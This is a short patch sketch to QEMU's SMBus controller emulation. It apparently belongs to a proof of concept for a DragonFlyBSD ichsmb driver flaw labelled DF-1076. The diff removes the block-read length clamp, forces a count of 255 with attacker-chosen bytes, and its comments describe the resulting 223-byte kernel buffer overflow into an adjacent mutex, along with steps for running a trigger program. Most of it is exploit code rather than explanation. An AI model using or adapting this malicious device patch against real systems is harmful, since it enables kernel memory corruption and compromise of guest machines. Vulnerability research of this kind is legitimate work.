# Malicious SMBus slave patch sketch for QEMU hw/i2c/pm_smbus.c
#
# This is a conceptual diff showing where the count-byte clamp would be
# removed in QEMU's pm_smbus block-read response so a malicious slave
# can return count > 32 and trigger DF-1076.
#
# Apply (or reimplement along the same lines) in the QEMU source tree,
# rebuild QEMU, boot DragonFlyBSD under it, then run trigger.c.

--- a/hw/i2c/pm_smbus.c
+++ b/hw/i2c/pm_smbus.c
@@ -...,... @@
 static void smb_transaction(PMSmbus *s, uint8_t prot)
 {
     ...
     case SMBUS_BLOCK_DATA:        /* block-read response */
         /* Real QEMU clamps the count to <= 32. Remove that clamp: */
-        if (count > 32)
-            count = 32;
+        /* attacker value: */
+        count = 255;
         s->smb_data[0] = count;
         for (i = 0; i < count; i++)
             s->smb_data[1 + i] = 0x41;   /* attacker-chosen bytes */
         ...
     }
 }

# After patching QEMU, the malicious slave returns count=255 and 255
# bytes of 'A'. The ichsmb ISR in the DragonFlyBSD guest writes all
# 255 bytes into sc->block_data[32], overflowing by 223 bytes into
# the adjacent struct lock mutex.